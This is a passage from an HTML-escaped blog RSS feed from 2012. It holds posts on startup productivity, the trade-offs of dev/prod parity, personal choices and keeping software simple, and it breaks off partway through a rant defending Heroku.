on them) until the goal has been accomplished.&lt;/p>
&lt;p>Regardless of whether your team does waterfall, agile, or anything in between,
pursuing a single goal with a group of people seems like a bad idea.  I&amp;rsquo;ve
never been able to properly articulate what I didn&amp;rsquo;t like about this in the
past, but since I started working on my company full-time I&amp;rsquo;ve come to
understand what it is that bothers me so much: motivation.&lt;/p>
&lt;p>When I have a bunch of tasks laid out, and I assign myself something specific
to work on each day, it almost never gets done. I&amp;rsquo;ve tried this time and time
again, but no matter what I do (forcing myself to work on it, guilting myself
into it, whatever the strategy may be) I fail. &lt;em>Well, either I fail or I
produce crappy work, which is just the same as failing.&lt;/em>&lt;/p>
&lt;p>What I&amp;rsquo;ve learned to do over the past two months is to just have fun and work
on whatever I feel like working on, on a day-to-day basis: chaos. Since I&amp;rsquo;ve
started doing this, not only have I felt a lot more relaxed, enjoyed my work a
lot more, and felt happier&amp;ndash;but I&amp;rsquo;ve gotten a &lt;em>lot&lt;/em> more accomplished in a
smaller amount of time.&lt;/p>
&lt;p>Sure, it isn&amp;rsquo;t always the most convenient thing to do, but it seems to
consistently pay off. I&amp;rsquo;m willing to bet that one of the primary reasons
companies like &lt;a href="https://github.com/" title="GitHub">GitHub&lt;/a> and &lt;a href="http://37signals.com/" title="37 Signals">37 Signals&lt;/a> are so successful is that they
have a chaotic workplace.&lt;/p>
&lt;p>A couple of weeks ago I was in the middle of a massive project: writing parsing
code for enormous amounts of telephony data for one of our new projects:
&lt;a href="http://tnapi.com/" title="tnAPI - A simple telephony data API.">tnapi&lt;/a>. At the time, this was the number one business priority, and
absolutely dwarfed the importance of all my other work&amp;ndash;but despite this, I
decided to spend the day hacking on some &lt;a href="https://github.com/rdegges" title="Randall Degges on GitHub">open source projects&lt;/a>, as I just
couldn&amp;rsquo;t get myself into mood to write parsing code all day.&lt;/p>
&lt;p>That day was one of the best days I&amp;rsquo;ve had in my life. I felt great, wrote
some awesome open source code (that we later used integrated into our
products), and felt refreshed the next day and excited to hack on the parsing
code some more.&lt;/p>
&lt;p>While I still have my projects laid out with TODO items, just like always, I&amp;rsquo;ve
learned that no matter what I do, as long as I give it my all, it&amp;rsquo;s a hell of a
lot more effective than forcing myself to work on something I&amp;rsquo;m just not
&lt;em>feeling&lt;/em>.&lt;/p>
&lt;h2 id="time-changes">Time Changes&lt;/h2>
&lt;p>Two months doesn&amp;rsquo;t really sound like a long time. Looking back, however, two
months seems like a lifetime.&lt;/p>
&lt;p>In the past two months I&amp;rsquo;ve built, iterated on, designed, and created more
value that I have in a long time. I&amp;rsquo;ve gotten more accomplished in less time
than I ever thought possible.&lt;/p>
&lt;p>It&amp;rsquo;s not that these two months have felt slow&amp;ndash;they&amp;rsquo;ve just felt so full that
time itself seems to be different. Instead of viewing two months as &amp;ldquo;Oh, I&amp;rsquo;ll
finish this and this.&amp;rdquo;, it now seems like &amp;ldquo;I&amp;rsquo;ll design this product. I&amp;rsquo;ll ship
the wire frames off to our designer. I&amp;rsquo;ll implement the back end services.
I&amp;rsquo;ll test it. I&amp;rsquo;ll integrate the finished designs. I&amp;rsquo;ll blog about it. I&amp;rsquo;ll
document it. I&amp;rsquo;ll integrate billing for it. Then I&amp;rsquo;ll work on the next
product as well.&amp;rdquo;&lt;/p>
&lt;p>I never imagined that in two months I&amp;rsquo;d be able to accomplish so much stuff.&lt;/p>
&lt;h2 id="apis-are-my-passion">APIs Are My Passion&lt;/h2>
&lt;p>I&amp;rsquo;ve always loved APIs and API companies. I love writing code that uses APIs
(like &lt;a href="http://www.twilio.com/" title="Twilio">Twilio&lt;/a>, &lt;a href="https://www.tropo.com/home.jsp" title="Tropo">Tropo&lt;/a>, &lt;a href="https://github.com/" title="GitHub">GitHub&lt;/a>, etc.)&lt;/p>
&lt;p>More than anything, however, I love writing APIs. I &lt;em>really&lt;/em> love it.&lt;/p>
&lt;p>Writing APIs has been, without question, the most fun I&amp;rsquo;ve ever had
programming. Since I started on this full time, I&amp;rsquo;ve been determined to change
the company from a services company (which we have been up until now) to an API
company, which focuses primarily on building APIs for developers.&lt;/p>
&lt;p>While I won&amp;rsquo;t go into all the details here (I&amp;rsquo;ll save that for a future post),
I want to just list some points:&lt;/p>
&lt;ul>
&lt;li>Developers are the best customers ever.&lt;/li>
&lt;li>Writing code for developers (being a developer yourself) doesn&amp;rsquo;t feel like
work at all.&lt;/li>
&lt;li>Making complex stuff (telephony stuff, for instance) simpler and more
accessible is a great feeling.&lt;/li>
&lt;li>Dealing with scaling issues is fun and educational. If your company makes
APIs, this will likely be necessary sooner rather than later.&lt;/li>
&lt;/ul>
&lt;p>Hang out with cool programmers, write cool apps, and make some money along the
way? &lt;em>Awesome.&lt;/em>&lt;/p>
&lt;h2 id="do-more-stuff-with-the-wife">Do More Stuff With the Wife&lt;/h2>
&lt;p>After the first week or so of working on my company full-time, I realized I was
spending a majority of my time hacking, and not enough time with my wife.
Since thinking about it, we&amp;rsquo;ve spent a lot more time together, and things have
been great.&lt;/p>
&lt;p>Between household chores, cooking, waking the dog, working out, and watching
movies&amp;ndash;we&amp;rsquo;ve ended up spending a ton of time together.  Not only has this
been really fun (my wife is awesome), but it&amp;rsquo;s been a bonding activity for the
both of us, and our marriage has been really great.&lt;/p>
&lt;h2 id="relaxing-means-relax">Relaxing Means Relax&lt;/h2>
&lt;p>I&amp;rsquo;m not very good at relaxing. Even when I watch movies I&amp;rsquo;ll usually have my
laptop open writing code, sending email, or browsing &lt;a href="http://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a>.&lt;/p>
&lt;p>Since I work on my startup completely from my house, I&amp;rsquo;ve been working to
combat this. After a week or so of desperately trying to accomplish as much as
possible while &amp;ldquo;relaxing&amp;rdquo;, I decided to give up and just watch a movie. No
laptop.&lt;/p>
&lt;p>What a &lt;em>difference&lt;/em>.&lt;/p>
&lt;p>I had no idea how refreshing it can be to lay down on the couch, curl up with
my dog, and watch a movie from start to finish with no distractions. Not only
have I been really enjoying my relaxation time a lot more, but after relaxing I
actually feel refreshed, not depleted.&lt;/p>
&lt;p>While this concept is stupidly obvious, I really need to keep it in mind so I
don&amp;rsquo;t go back to my old ways.&lt;/p>
&lt;h2 id="having-fun-is-easy">Having Fun Is Easy&lt;/h2>
&lt;p>Having fun is easy if you &lt;em>focus&lt;/em> on what you&amp;rsquo;re doing.&lt;/p>
&lt;p>I&amp;rsquo;ve read tons of books on focusing better (coincidentally, if you aren&amp;rsquo;t
familiar with &lt;a href="http://www.amazon.com/gp/product/1934356506/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1934356506&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Pomodoro Technique">The Pomodoro Technique&lt;/a>, you should be), but nothing beats
practical application. For me, this means shutting my office door, and banging
out some small feature until I&amp;rsquo;m done with it.&lt;/p>
&lt;p>I can&amp;rsquo;t tell you how many times I&amp;rsquo;ve stressed myself out by constantly thinking
of all the things I have to get done, and the importance of each item. Taking
a moment to realize how fun each little item can be, and focusing on it
completely for a small chunk of time is an incredibly great way to get into the
zone, have fun, and feel good.&lt;/p>
&lt;h2 id="overall">Overall&lt;/h2>
&lt;p>Those are all my thoughts for now. I&amp;rsquo;m sure in a few months I&amp;rsquo;ll have a lot
more. &lt;/p>
&lt;p>Overall, the past two months have been pretty epic. I&amp;rsquo;ve had a lot of fun,
gotten a bunch of stuff done, and had a ton of fun along the way.&lt;/p></description></item><item><title>A Developer's Conundrum - Dev / Prod Parity</title><link>https://rdegges.com/2012/a-developers-conundrum-dev-prod-parity/</link><pubDate>Tue, 10 Jul 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/a-developers-conundrum-dev-prod-parity/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/a-developers-conundrum-dev-prod-parity/grim-reaper-bust.png" alt="Grim Reaper Bust" title="Grim Reaper Bust">
&lt;/p>
&lt;p>As a &lt;a href="http://www.amazon.com/gp/product/1934356344/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1934356344&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Passionate Programmer">passionate developer&lt;/a>, I constantly try to write the best code
possible. I &lt;em>love&lt;/em> my craft.&lt;/p>
&lt;p>For me, this means that I:&lt;/p>
&lt;ul>
&lt;li>Read lots of books on new and emerging technologies, trying to learn as
much as possible about them as a hobby.&lt;/li>
&lt;li>Write lots of open source code which solves problems in a reusable way.&lt;/li>
&lt;li>Maintain old code, and periodically update it to new quality standards.&lt;/li>
&lt;li>Rewrite software that needs to be rewritten, using whatever new knowledge
I&amp;rsquo;ve obtained to do the job better.&lt;/li>
&lt;li>Talk with a variety of developers in other fields with other skill sets,
and learn from their experience.&lt;/li>
&lt;li>Keep up with industry best practices, and do my best to adhere to them
where possible.&lt;/li>
&lt;li>Write maintainable code to make my life (and that of my fellow developers)
as painless as possible.&lt;/li>
&lt;/ul>
&lt;p>None of these things are unusual amongst the friends I have, and people I know.
Every good developer wants to follow best practices, write better code, and
become better at their craft.&lt;/p>
&lt;p>In general, I find that current best practices largely make sense. I primarily
develop web software, and possibly the most famous best practices are all
contained within &lt;a href="http://www.12factor.net/" title="The 12 Factor App">The Twelve-Factor App&lt;/a>, a document detailing the 12 factors
which should be followed while building web software. If you strictly follow
these 12 factors of good application design, it would be hard to go wrong.&lt;/p>
&lt;p>Many of the 12 factors make perfect sense when you read them. They are
undisputed as software guidelines.&lt;/p>
&lt;p>To summarize:&lt;/p>
&lt;ul>
&lt;li>Keep your system in version control. Deploy it as many times as needed&amp;ndash;
from the same codebase.&lt;/li>
&lt;li>Ensure all your project dependencies are explicitly stated. You should be
able to provision a working instance of your application on demand.&lt;/li>
&lt;li>Store your application configuration as environment variables&amp;ndash;this way you
can easily move your application around, keeping sensitive data safe.&lt;/li>
&lt;li>Treat all backing services as attached resources.&lt;/li>
&lt;li>Separate your build, release, and run processes.&lt;/li>
&lt;li>Ensure instances of your app are stateless, this way you can scale your app
as needed.&lt;/li>
&lt;li>Export your services via port binding.&lt;/li>
&lt;li>Allow your services to run concurrently, allowing you to scale your system
horizontally across many machines.&lt;/li>
&lt;li>Keep your services quick to start up, and quick to shut down.&lt;/li>
&lt;li>Keep development, staging and production as similar as possible to avoid
unexpected deployment errors.&lt;/li>
&lt;li>Treat your log files as event streams.&lt;/li>
&lt;li>Run admin and management tasks as one-off processes.&lt;/li>
&lt;/ul>
&lt;p>Unfortunately, while I continuously do my best to follow the 12 factors of good
application design, I&amp;rsquo;m constantly battling with myself over factor 10,
&lt;a href="http://www.12factor.net/dev-prod-parity" title="Dev / Prod Parity">dev-prod parity&lt;/a>.&lt;/p>
&lt;h2 id="dev--prod-parity">Dev / Prod Parity&lt;/h2>
&lt;p>When you write software (web software in particular), the environment you&amp;rsquo;re
writing your code in is often very different from the environment which you&amp;rsquo;re
deploying your code in.&lt;/p>
&lt;p>If I&amp;rsquo;m writing a website, for instance, I&amp;rsquo;ll often need many infrastructure
tools to make it run successfully in production:&lt;/p>
&lt;ul>
&lt;li>PostgreSQL, for storing application data.&lt;/li>
&lt;li>Amazon S3, for hosting my static assets (CSS, JS, images).&lt;/li>
&lt;li>Memcache, for storing cached data.&lt;/li>
&lt;li>Amazon SQS, for storing messages that need to be processed asynchronously.&lt;/li>
&lt;li>etc.&lt;/li>
&lt;/ul>
&lt;p>The best practices way for me to handle this situation would be to use all of
the tools above locally while I&amp;rsquo;m developing the website, so that when I&amp;rsquo;m
actually ready to deploy my application in a production environment I already
know that everything will work as expected.&lt;/p>
&lt;p>And when I think about this, it makes perfect sense. If you want to build your
application in the best way possible, avoiding as many issues as you can, you
should probably make sure that your development environment (in my case, a
laptop) is identical to your production environment (&lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a>, &lt;a href="http://aws.amazon.com/" title="Amazon Web Services">AWS&lt;/a>, or
whatever you use to host your sites).&lt;/p>
&lt;p>&lt;em>Unfortunately, this is my conundrum&amp;ndash;I find it nearly impossible to both
write good code, and minimize dev / prod parity.&lt;/em>&lt;/p>
&lt;h2 id="the-difficulty">The Difficulty&lt;/h2>
&lt;p>The difficult thing about minimizing dev / prod parity (for me), is minimizing
&lt;em>pain&lt;/em>. It is really painful, for example, to develop a site locally (on my
laptop) and not be able to get instantly see how my web pages look when
rendered.&lt;/p>
&lt;p>If I were to only use S3 for hosting my CSS, for example, I&amp;rsquo;d have to:&lt;/p>
&lt;ul>
&lt;li>Commit my changes to Git.&lt;/li>
&lt;li>Push my code to Heroku.&lt;/li>
&lt;li>Push my static assets (CSS) to S3.&lt;/li>
&lt;li>Open my browser, visit my staging environment&amp;rsquo;s website
(&lt;code>http://myapp-staging.herokuapp.com&lt;/code>).&lt;/li>
&lt;/ul>
&lt;p>That&amp;rsquo;s a lot of pain to go through to see if my CSS change fixed what I wanted
it to, or not.&lt;/p>
&lt;p>In the same way that manging static assets sucks with no dev / prod parity,
managing other infrastructure components is equally frustrating.&lt;/p>
&lt;p>If I were to actually use Amazon SQS locally while developing my website, I&amp;rsquo;d
have to (among other things):&lt;/p>
&lt;ul>
&lt;li>Always be online to test even the most trivial of my application changes.&lt;/li>
&lt;li>Run two separate processes locally (my web worker, as well as much
background task worker).&lt;/li>
&lt;li>Ensure I have a test SQS queue created for each of my applications in
addition to my production queue.&lt;/li>
&lt;li>Make sure that I consume all of my messages while testing, otherwise I&amp;rsquo;ll
have messages sitting in SQS until they expire, costing money.&lt;/li>
&lt;/ul>
&lt;p>Ugh.&lt;/p>
&lt;h2 id="complexity">Complexity&lt;/h2>
&lt;p>I realize that complexity is a major issue here.&lt;/p>
&lt;p>If your development and production environments are identical, deployment
complexity goes down (because you already know things work).&lt;/p>
&lt;p>If your development and production environments are very different, coding
complexity goes up because you have to manage multiple application
configurations: one for development, and one for production.&lt;/p>
&lt;p>But which is worse?&lt;/p>
&lt;h2 id="what-im-doing">What I&amp;rsquo;m Doing&lt;/h2>
&lt;p>Up until now, I&amp;rsquo;ve always found it a lot &lt;em>cleaner&lt;/em> to maintain different
application environments: one for development and one for production. This
way, I can develop sites locally without issue, and deploy them (usually)
without issue.&lt;/p>
&lt;p>Sure, there are drawbacks to this approach (e.g. more code to worry about), but
as a result, I&amp;rsquo;m able to develop my sites quite a bit quicker (instant
feedback), as opposed to a more delayed (slow feedback) process.&lt;/p>
&lt;p>Every time I talk to my developer friends, however, I&amp;rsquo;m constantly reminded of
the rule: minimize dev / prod parity!&lt;/p>
&lt;p>&lt;strong>This is my conundrum.&lt;/strong>&lt;/p>
&lt;p>I&amp;rsquo;d love to hear your opinions (please leave a comment), so that I can make a
decision about what to do from now on in my quest to consistently improve my
development skills &amp;gt;:)&lt;/p></description></item><item><title>Choices, Choices</title><link>https://rdegges.com/2012/choices-choices/</link><pubDate>Mon, 02 Jul 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/choices-choices/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/choices-choices/sad-grim-reaper-sketch.png" alt="Sad Grim Reaper Sketch" title="Sad Grim Reaper Sketch">
&lt;/p>
&lt;p>Something that is a constant source of inspiration for me, particularly in
difficult (or high stress) situations, is the knowledge that I have the ability
to make choices.&lt;/p>
&lt;p>Everyday I wake up, and one of the first things I think about is what I&amp;rsquo;m going
to do that day. Will I work hard? Will I exercise? Will I eat the right
foods? Will I read? Will I write?&lt;/p>
&lt;p>It&amp;rsquo;s so easy to not do any of those things. It&amp;rsquo;s incredibly easy to sit on the
couch, surf Reddit all day, and eat potato chips&amp;ndash;and it&amp;rsquo;s even easier to skip
the gym, leave the book on the bookshelf, and hide under the covers.&lt;/p>
&lt;p>Every single day you have the ability (at any time) to decide what you&amp;rsquo;re going
to do. What you&amp;rsquo;re doing right now is already in the past. It doesn&amp;rsquo;t matter
if you&amp;rsquo;re currently slacking off on your diet, work, whatever&amp;ndash;you have the
ability to stop what you&amp;rsquo;re doing, and make another choice.&lt;/p>
&lt;p>The beautiful thing about choices is that each choice you make moves you in a
new direction. What if you decided (right now) that you wanted to be the best
bodybuilder in the world? You could go lift some weights, get a gym
membership, read the necessary books, eat the necessary foods, train the
necessary ways&amp;ndash;and, if you&amp;rsquo;re persistent enough, you will do it.&lt;/p>
&lt;p>Limitations are all imagined. If you make the choices you want to make, and
consistently move forward to your goals&amp;ndash;you &lt;em>will&lt;/em> reach the outcome you&amp;rsquo;re
looking for.&lt;/p>
&lt;p>Don&amp;rsquo;t let external factors hold you back. If you want to do something, make
the choice to do it.&lt;/p></description></item><item><title>Hack Everything ... To Pieces!</title><link>https://rdegges.com/2012/hack-everything-to-pieces/</link><pubDate>Tue, 12 Jun 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/hack-everything-to-pieces/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/hack-everything-to-pieces/axe-sketch.png" alt="Axe Sketch" title="Axe Sketch">
&lt;/p>
&lt;p>Hack. HACK!&lt;/p>
&lt;p>Programming is awesome. It is, without question, one of the most enjoyable
things you can do with your time. That said, there is one thing you can do to
substantially increase your personal joy and happiness while coding: &lt;em>HACK
EVERYTHING INTO PIECES!&lt;/em>&lt;/p>
&lt;p>I&amp;rsquo;m sure you see where I&amp;rsquo;m going with this by now :)&lt;/p>
&lt;p>I often find myself working on complex software. While I find it incredibly
fun and challenging, it certainly comes with risks. One of the greatest risks
is &lt;em>over-complication&lt;/em>.&lt;/p>
&lt;p>It is way too easy to become so engaged in your work that you continue building
and building without thinking about the implications of what you&amp;rsquo;re doing. I
find that when I&amp;rsquo;m building things, I tend to put all my focus into the task at
hand, and completely disregard everything around me &amp;rsquo;till I&amp;rsquo;m done. More often
than not, this leads to disaster.&lt;/p>
&lt;p>If you&amp;rsquo;re not analyzing what your overall objective is as you&amp;rsquo;re hacking, there
&lt;em>will&lt;/em> be problems!&lt;/p>
&lt;p>Over-complication is the worst problem in software development. It causes
bugs, confusion, anger, and even death! OK, so you probably won&amp;rsquo;t die from
over-complication, but hey, don&amp;rsquo;t risk it (especially if you&amp;rsquo;re writing medical
software &lt;strong>&amp;gt;:0&lt;/strong>).&lt;/p>
&lt;p>One thing that always bothers me is looking at what &lt;em>should&lt;/em> be a simple piece
of code, just to find that the author horribly overcomplicated the whole thing.
It happens to all of us from time to time, but it can be avoided.&lt;/p>
&lt;h2 id="the-one-true-way">The One True Way&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/hack-everything-to-pieces/owl-sketch.png" alt="Owl Sketch" title="Owl Sketch">
&lt;/p>
&lt;p>There is only &amp;ldquo;one true way&amp;rdquo; to write software: &lt;a href="http://en.wikipedia.org/wiki/Unix_philosophy" title="UNIX Philosophy">the UNIX way&lt;/a>. If you&amp;rsquo;re an
experienced programmer, you&amp;rsquo;ve probably kept these words close to your heart
for a long time. Nevertheless, here they are again:&lt;/p>
&lt;blockquote>
&lt;p>Write programs that do one thing and do it well.&lt;/p>
&lt;/blockquote>
&lt;p>When you find yourself working on complex software, the best thing you can do
is to keep things simple. While there are certainly situations where a brute
force mentality is required to make progress, more often than not, it&amp;rsquo;s a much
better idea to break whatever you&amp;rsquo;re doing down into separate components.&lt;/p>
&lt;p>The way I like to do this is by jotting down what the purpose of my software
is. If I find myself writing more than one sentence, I often separate the
sentences out, and decide to write multiple projects as opposed to a single
monolithic one.&lt;/p>
&lt;p>Keeping your software small, to the point, and simple is possibly the greatest
productivity and happiness hack of all time. Not only does it feel really
great to have a bunch of small simple apps, but it makes it exponentially
easier to maintain your software, add features, and fix bugs.&lt;/p>
&lt;p>Furthermore, by forcing yourself to keep things simple, you inadvertently
learn to become a better developer. Small, simple design is one of the primary
foundations for greatness in software development. Things like test driven
development, clean refactoring, and good documentation is all made much easier
when your software is small and simple. Try applying those tools to complex
software, and you will be in for a world of pain.&lt;/p>
&lt;h2 id="takeaway">Takeaway&lt;/h2>
&lt;p>The next time you&amp;rsquo;re about to dive into some code, take a second or two and
analyze what it is you&amp;rsquo;re about to be doing. Programming is insanely fun, but
writing the right sorts of programs is even more fun.&lt;/p>
&lt;p>&lt;strong>Hack everything!&lt;/strong>&lt;/p></description></item><item><title>Heroku Isn't for Idiots</title><link>https://rdegges.com/2012/heroku-isnt-for-idiots/</link><pubDate>Sun, 03 Jun 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/heroku-isnt-for-idiots/</guid><description>&lt;p>&lt;strong>WARNING&lt;/strong>: This is a &lt;em>bit&lt;/em> of a rant. I&amp;rsquo;m going to assume you have a basic
understanding of &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a>, and web application architecture.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/demon-warrior-sketch.png" alt="Demon Warrior Sketch" title="Demon Warrior Sketch">
&lt;/p>
&lt;p>Heroku isn&amp;rsquo;t for idiots. There&amp;ndash;I said it. I&amp;rsquo;m already starting to feel
better!&lt;/p>
&lt;p>I&amp;rsquo;m usually not the type of person to get involved in internet debate (because
I typically avoid politics as much as possible), but yesterday I read an
incredibly fraudulent article which really made my blood boil:
&lt;a href="http://justcramer.com/2012/06/02/the-cloud-is-not-for-you/" title="The Cloud is Not For You">The Cloud is Not For You&lt;/a>.&lt;/p>
&lt;p>Before I start to rip holes in David&amp;rsquo;s article, I&amp;rsquo;d just like to say&amp;ndash;&lt;a href="http://justcramer.com/" title="David Cramer">David&lt;/a>
is a good programmer. In fact&amp;ndash;he&amp;rsquo;s a much better programmer than myself. If
you&amp;rsquo;re involved in the python web programming world, you&amp;rsquo;ve likely used his
software, and seen his presentations.&lt;/p>
&lt;p>While I&amp;rsquo;ve never met the guy, he seems like a decent dude. So if you take
anything away from this rant, let it be purely technical &amp;gt;:)&lt;/p>
&lt;p>Also: I should probably mention that I&amp;rsquo;m in no way affiliated with Heroku.
Like David, I know several Heroku employees, but that&amp;rsquo;s the extent of my
relationship.&lt;/p>
&lt;p>Ok then! Let&amp;rsquo;s talk about Heroku!&lt;/p>
&lt;h2 id="heroku-is-just-unix">Heroku is Just Unix&lt;/h2>
&lt;p>At its core, Heroku is just a simple UNIX platform; specifically, Ubuntu 10.04
LTS.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/heroku-is-ubuntu.png" alt="Heroku is Ubuntu" title="Heroku is Ubuntu">
&lt;/p>
&lt;p>The entire Heroku platform is really nothing more than small Ubuntu virtual
server instances that can be spun up and down on demand. Each instance (Heroku
calls them &lt;a href="https://devcenter.heroku.com/articles/dynos" title="Heroku Dynos">dynos&lt;/a>), has:&lt;/p>
&lt;ul>
&lt;li>512MB of RAM, 1GB of swap. Total = 1.5GB RAM.&lt;/li>
&lt;li>4 CPU cores (Intel Xeon X5550 @ 2.67GHz).&lt;/li>
&lt;li>Isolated execution. Anything you store on your dyno will be isolated from
all other dynos.&lt;/li>
&lt;li>A &lt;a href="http://en.wikipedia.org/wiki/Jail_(computer_security)" title="chroot Jails Wikipedia">chroot jail&lt;/a> environment. This means that you are completely locked
down to one directory tree, with no write access to system files.&lt;/li>
&lt;li>Per-second billing. Dynos cost 5 cents per hour. You get one dyno for
free each month (per app). If you use a dyno for 2 seconds, you&amp;rsquo;ll pay
0.16666666666666666 cents. If you use a dyno for an entire month solid,
you&amp;rsquo;ll pay 36$ (assuming a month has 30 days).&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you want to calculate your costs for running your application on
Heroku, they have a really nice &lt;a href="http://www.heroku.com/pricing#0-0" title="Heroku Pricing">cost calculator&lt;/a> you can use.&lt;/p>
&lt;p>So what does this mean? Well, it basically means that Heroku can run pretty
much any Ubuntu compatible software you can think of. It also means that
there&amp;rsquo;s really nothing &lt;em>magical&lt;/em> going on here&amp;ndash;it&amp;rsquo;s just UNIX.&lt;/p>
&lt;h2 id="heroku-is-centered-around-apps">Heroku is Centered Around Apps&lt;/h2>
&lt;p>Unlike most other cloud providers, Heroku isn&amp;rsquo;t in the VPS business. Their
goal isn&amp;rsquo;t to sell you virtual Ubuntu servers that you configure yourself.
Their real goal is to handle that stuff for you, and let you focus on building
applications.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/heroku-apps.png" alt="Heroku Apps" title="Heroku Apps">
&lt;/p>
&lt;p>The main idea is that:&lt;/p>
&lt;ol>
&lt;li>An application is a piece of software that talks over HTTP (websites, APIs,
whatever).&lt;/li>
&lt;li>An application exists to serve a single purpose.&lt;/li>
&lt;li>An application has a single code base, version controlled with &lt;a href="http://git-scm.com/" title="Git">Git&lt;/a>.&lt;/li>
&lt;li>An application should consist only of application code&amp;ndash;not infrastructure
setup, or anything else.&lt;/li>
&lt;li>Applications should be easy to scale horizontally. Need to support more
incoming requests? Just add another application server to your pool, and
Heroku will handle the load balancing.&lt;/li>
&lt;li>Applications should be fault tolerant. Did your application or server
crash? It will be instantly running on another virtual server so that you
experience no downtime.&lt;/li>
&lt;li>Applications should be easy to rollback. Need to rollback to a previous
release? You can do it instantly.&lt;/li>
&lt;li>Applications should use environment variables for configuration. You
should never hardcode your configuration.&lt;/li>
&lt;/ol>
&lt;p>Does that sound good to you? Of course it does! Heroku encourages good
application design and architecture from the ground up, by making certain
assumptions about your project from the start.&lt;/p>
&lt;p>If you&amp;rsquo;re writing an application&amp;ndash;why should you have to:&lt;/p>
&lt;ul>
&lt;li>Run redundant servers in case something breaks?&lt;/li>
&lt;li>Spend time configuring every piece of your infrastructure?&lt;/li>
&lt;li>Worry about hardware or host issues?&lt;/li>
&lt;li>Build your own deployment systems so that you can instantly deploy your
code across hundreds of virtual servers at once?&lt;/li>
&lt;li>Build your own rollback system to instantly restore your application to a
previous release?&lt;/li>
&lt;/ul>
&lt;p>If you want to do that stuff, Heroku isn&amp;rsquo;t for you. Heroku is for programmers
who want to build applications.&lt;/p>
&lt;h2 id="heroku-enforces-best-practices">Heroku Enforces Best Practices&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/twelve-factor-logo.png" alt="Twelve Factor Logo" title="Twelve Factor Logo">
&lt;/p>
&lt;p>Do you write good software? If so, you&amp;rsquo;re probably familiar with the term
&amp;ldquo;best practices&amp;rdquo;. In the past several years, web developers have learned quite
a lot about the ideal way to build web services.&lt;/p>
&lt;p>Since web development first became popular, all patterns and development rules
have culminated into something called &lt;a href="http://www.12factor.net/" title="The 12factor App">The Twelve-Factor App&lt;/a>. The 12 factor
app is a set of guidelines that service developers should follow to build
applications in the most effective way possible.&lt;/p>
&lt;p>Heroku&amp;rsquo;s entire platform not only encourages 12 factor design, but &lt;em>enforces&lt;/em>
it.&lt;/p>
&lt;p>The Heroku platform doesn&amp;rsquo;t tolerate poorly designed applications, and doesn&amp;rsquo;t
cater to ineffective programmers. Heroku isn&amp;rsquo;t built for idiots.&lt;/p>
&lt;h2 id="heroku-is-modular">Heroku is Modular&lt;/h2>
&lt;p>One of Heroku&amp;rsquo;s greatest strengths as a platform is its modularity. The core
Heroku platform gives you a basic way to deploy and manage your code base and
applications, while the &lt;a href="https://addons.heroku.com/" title="Heroku Addons">Heroku Add-ons&lt;/a> allow you to pick-and-choose your
various infrastructure components.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/heroku-addons-screenshot.png" alt="Heroku Add-ons Screenshot" title="Heroku Add-ons Screenshot">
&lt;/p>
&lt;p>Adding, resizing, and removing infrastructure components is reduced from
hundreds of hours of sysadmin work to a single command.&lt;/p>
&lt;p>Instead of building out your own infrastructure services, you can easily spin
up (and down) the services you need, when you need them&amp;ndash;paying only for what
you use. Not only do you not need to worry about service interruption (these
are all fully managed infrastructure services), but you have support channels,
multiple options (you can easily swap out add-on providers), and excellent
monitoring tools available to you with a single click.&lt;/p>
&lt;h2 id="lets-talk-about-replacing-the-cloud">Let&amp;rsquo;s Talk About Replacing the Cloud&lt;/h2>
&lt;p>If you want to build your own redundant, fully managed infrastructure services
&amp;ndash; go right ahead. Nobody is stopping you. There are great tools like Chef,
Puppet, and Salt which make this process a lot less painful than it used to be.&lt;/p>
&lt;p>Unfortunately, regardless of which tools you choose&amp;ndash;managing infrastructure
with any of the tools above is an enormous job. Sure, you could do what David
did:&lt;/p>
&lt;blockquote>
&lt;p>About three days into it, and I had learned how to use Chef (I don&amp;rsquo;t write
Ruby), brought up two full pluggable configurations for a db node and a web
node, written a deployment script in Fabric, migrated to the new hardware
and destroyed my Heroku and Linode instances. Three days, that&amp;rsquo;s all it
took to replace the cloud.&lt;/p>
&lt;/blockquote>
&lt;p>But all you end up with is a false sense of security in your new design.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/tears-of-laughter.png" alt="Tears of Laughter" title="Tears of Laughter">
&lt;/p>
&lt;p>To quickly debrief you, here&amp;rsquo;s what David did:&lt;/p>
&lt;ul>
&lt;li>Rented a dedicated server.&lt;/li>
&lt;li>Wrote his own Chef scripts to create a database.&lt;/li>
&lt;li>Wrote his own Chef scripts to create a web server.&lt;/li>
&lt;li>Wrote a deployment script using Fabric to deploy his application to his new
servers.&lt;/li>
&lt;/ul>
&lt;p>Sure, this sounds great in theory, right? I mean, why not just rent (or buy) a
physical server or two, and run your stuff there?&lt;/p>
&lt;p>Let me ask you this: what happens if:&lt;/p>
&lt;ul>
&lt;li>His hard drive / memory / NIC / etc. fails?&lt;/li>
&lt;li>He accidentally runs OS updates, and breaks versions of his packages?&lt;/li>
